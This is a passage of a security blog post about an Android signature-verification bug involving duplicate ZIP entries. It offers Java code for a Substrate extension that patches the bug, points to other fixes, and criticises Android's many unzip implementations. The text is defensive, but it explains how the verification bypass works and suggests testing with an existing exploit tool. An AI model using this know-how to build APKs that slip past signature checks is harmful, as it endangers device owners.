Sadly, the options are somewhat slim. One potential reason for this is that, according to the website for X-Ray, an Android vulnerability scanner (that does not detect this vulnerability), applications that scan for vulnerabilities on Android devices are actually against the Play Store's terms of service, making this kind of product a niche target.
We definitely understand that users prefer to install apps from the Play Store, especially when they're security-related apps. Unfortunately, Google informed us that the terms of service of the Play Store disallow applications such as X-Ray that check for Android vulnerabilities.
My primary recommendation, then, is that if you are having trouble getting one of these applications to say you are safe, or if you just don't trust them, is to attempt to use the exploit against yourself: you can tell Cydia Impactor to do something meaningless (like simply "echo") and see if you get an error.
Patching the Bug
In the earlier mentioned article from CIO, some focus was given to the rather slow Android patch cycle: bugs in the platform often end up going unpatched for very long periods of time, especially on specific devices, due to the large number of manufacturers and configuration; some devices may never get patched.
Judging by Android's patch distribution history so far, the vulnerability found by the Bluebox researchers will probably linger on many devices for a long time, especially since it likely affects a lot of models that have reached end-of-life and are no longer supported.
It is thereby valuable to provide fixes for older devices. As I consider it good practice when releasing exploits such as this, I have also taken the time to develop a fix for the bug using Substrate, Cydia's code modification platform (as I have for previous iOS vulnerabilities, such as the one comex used for JailbreakMe 2.0).
In the case of this bug, other people have already done this. One option is an Xposed module, such as one published by Tungstwenty in a recent thread on the XDA developers forum. However, in addition to using Xposed (see vs Substrate), it is a rather blunt replace-the-whole-thing "patch".
That said, Tungstwenty's module (as of right now, apparently: it didn't correctly as I started this section ;P) also protects against bug #9695860, which I will not be providing a fix for today (doing so would have further delayed this article, and I don't have a test case). If your device is new enough to use Xposed, and you do not have issues using it otherwise, it will offer more protection than my extension.
However, a more solid offering is also available in the form of ReKey, a package from Duo Security and Collin Mulliner (one of my ex-colleagues from UCSB). ReKey uses technology closer in design to Substrate, but with a daemon-based injection vector; it also supports both bug #8219321 and #9695860 (correctly).
Substrate Extension
To fix this exploit, it is useful to look at the patch from CyanogenMod (if nothing else, as it is my understanding that that is the same patch that will be used by Google, so it is fair to implement it the same way even if the result seems somewhat limiting). This simply refuses duplicate entries in ZipFile.
String entryName = newEntry.getName(); if (mEntries.put(entryName, newEntry) != null) throw new ZipException( "Duplicate entry name: " + entryName);
To implement something similar, we will first start with a basic Substrate extension whose initialize function hooks the classload of the Java ZipFile class. (For more information about using MS.hookClassLoad, I will refer you to the Substrate API documentation website article.)
public class Hook { public static void initialize() { MS.hookClassLoad("java.util.zip.ZipFile", new MS.ClassLoadHook() { public void classLoaded(Class<?> ZipFile$) {
Once that class is loaded, we need to find the mEntries field. This field stores a LinkedHashMap. We are going to be modifying that field, so we use setAccessible. (Substrate provides simpler ways to make changes like this, but they require out-of-scope explanation; for more information, read this article.)
final Field ZipFile$mEntries = ZipFile$.getDeclaredField("mEntries"); ZipFile$mEntries.setAccessible(true); final Method ZipFile$readCentralDir = ZipFile$.getDeclaredMethod("readCentralDir");
Finally, we use Substrate's hookMethod functionality to change the behavior of ZipFile's readCentralDir. Rather than reimplement readCentralDir (which may lose other security patches that have been applied), we target the root cause: that LinkedHashMap supports duplicate entries; we subclass it to change that.
MS.hookMethod(ZipFile$, ZipFile$readCentralDir, new MS.MethodAlteration<ZipFile, Void>() { public Void invoked(ZipFile thiz, Object... args) throws Throwable { ZipFile$mEntries.set(thiz, new LinkedHashMap<String, ZipEntry>() { public ZipEntry put( String key, ZipEntry value ) { if (super.put(key, value) != null) throw new IllegalArgumentException( "Duplicate entry name: " + key); return null; } } ); return invoke(thiz, args); } });
For the complete source code to this extension, you can clone its git repository from git://git.saurik.com/backport.git or view its repository online using the Gitweb instance I use. (Here is a direct link to Hook.java.) Users who just want to install an APK can get it from the Cydia Gallery (inside of Substrate).
Final Takeaway
One may wonder what causes this kind of bug to happen. At a high-level, signature verification bugs occur when something that is being signed and verified isn't exactly what is being used, allowing the attacker to sign correctly the thing that is being verified, but then use something else.
In this case, the issue stems from there being multiple implementations of "unzip a file": there was one used from Java by the verification code, one used from Dalvik to load classes.dex, and a third one used to load other files, such as native libraries and XML assets (with two separate iteration styles).
For something that is cryptographically signed, you should generally strive to have only one implementation, not three (and a half). Well, what if I told you that that there are more? I did a cursory audit of the Android codebase looking for implementations of unzip, and I found eight separate copies of that logic.
- frameworks/native/libs/utils/ZipFileRO.cpp
- libcore/luni/src/main/java/java/util/zip/ZipFile.java
- dalvik/libdex/ZipArchive.cpp
- bootable/recovery/minzip/Zip.c
- system/core/libzipfile/zipfile.c
- external/zlib/src/contrib/minizip/unzip.c
- build/tools/zipalign/ZipFile.cpp
- frameworks/base/tools/aapt/ZipFile.cpp
This is just insane. A couple of these are nearly the same, and many have some common lineage, but no two are byte-for-byte identical. If a bug is found in one of these implementations, or the behavior is changed (such as with regards to duplicates), you want that same behavior used everywhere; this makes that hard.